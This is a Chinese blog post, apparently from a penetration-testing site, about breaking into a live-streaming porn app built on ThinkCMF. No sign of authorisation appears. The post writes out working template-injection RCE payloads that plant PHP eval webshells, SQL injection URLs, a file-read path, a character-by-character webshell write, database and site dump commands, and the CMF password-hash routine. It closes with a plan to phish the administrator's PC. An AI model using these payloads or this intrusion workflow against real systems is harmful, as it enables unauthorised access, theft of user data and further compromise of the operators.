记一次对某色X直播APP的渗透

发布时间 2024-01-05 10:27:33作者: 渗透测试中心

在一个风和日丽的晚上,正兴奋逛Twitter的我,忽然发现下面推荐关注有这么一个xxxx视频的名片。

图片
这这这这,我可是正经人,不知道Twitter为啥会给我推送这些。这必须盘他,打开推广链接,辣眼睛,下载该app。

图片

这app一打开就给人一股熟悉的味道,一看感觉很有可能是tp二开的。

图片

注册手机号fiddler抓包改包,其实内容更辣眼睛

图片


抓包获取url发现这不就是thinkcmf吗?满脸淫笑的想这还不拿下,前台那么多rce,就算有狗也能秒之,然而很快被现实打脸。

命令执行POC:
payload1:

/index.php?g=api&m=Oauth&a=fetch&content=<php>file_put_contents('pass.php','<?php @eval($_POST[1]); ?>')</php>

图片

payload2:

/?a=fetch&;templateFile=public/index&prefix=''&content=<php>file_put_contents('pass.php','<?php  @eval($_POST[1]); ?>')</php>

图片


payload3:

?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22])%3b%3F%3E%27);die();?%3E

然后任意文件读取:

/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log

最后在目录下会生成一个m.php一句话木马文件,当然也可以写成其他的payload。

图片

一顿操作猛如虎,一看文件404,难道就要凉凉了?

图片

不怕,另外该APP,还有SQL注入:
注入点1:

/index.php?g=Appapi&m=Video&videoid=1

图片

注入点2:

/index.php?g=Appapi&m=Auth&a=index&uid=128889&token=b69cda34dff2fa978a94b5583e7f5c9a

图片

图片

注入也凉凉,看来我这是要我掏出0day的节奏?算了还是忍忍吧。经过一番鼓捣研究,细节就不贴了,此处省略千字。说多了都是泪........
最后终于出了phpinfo,版本7.2以上
payload:

/?a=fetch&content=<?=phpinfo();exit();

这不离shell更近一步了,然后看disable_functions禁用这么求多。

图片

这里尝试了使用assert函数写入,以为成了,结果还是返回1

图片

@assert函数不行,这里就可以尝试读取文件file_get_contents,读取数据库配置文件

图片

在继续读取config.php文件时,突然想起之前下载app的时候是放在阿里云oss里面的,按理说他的配置文件里面应该有阿里云key和id,但现实终究是那么残酷,连aliyun这几个字母都没看到。

图片

读取一些配置文件没有东西,数据库和redis不可外连,于是就准备写个shell上去在仔细翻下,尝试用file_put_contents读取文件。

图片


好像不行,难道是参数问题,file_get_contents都能读任意文件,或者是目录不可写?尝试写在/tmp/1.txt也是同样的报错,想到php还要其他写文件的函数,于是w3school翻了下

图片

写入123到i.txt,成功写入文件

图片

图片

尝试写入php一句话,提示模板不存在,该怎么办?眼看shell到手了。仔细看fwrite参数 ,w+是打开写入,r+是追加,难道我要一个字符一个字符写入?没错,就是要一个字符一个字符写入。
?a=fetch&content=%3C?=@$fp=fopen(%221.php%22,%27a+%27);%20fwrite($fp,%27<%27);exit();

图片


最终可getshell

图片

绕过命令执行,反弹shell

图片

然后打包+脱裤

 mysqldump -h127.0.0.1 -uxxxx -pxxxx xxx >xxx.sql
tar -cvf 1.tar /www/wwwroot/xxx/

图片

以为这就完了 ?no,看了端口链接以及登陆ip还有搞头,后续待我钓到管理员pc,出续集,另外cmf密码默认加密

<?php
function setPass($pass)
{        
    $authcode = 'rCt52pF2cnnKNB3Hkp';
    $pass = "###" . md5(md5($authcode . $pass));
    return $pass;
}
echo setPass('123456')
?>

进后台的话,明文加密替管理员密文,或者加密明文去撞。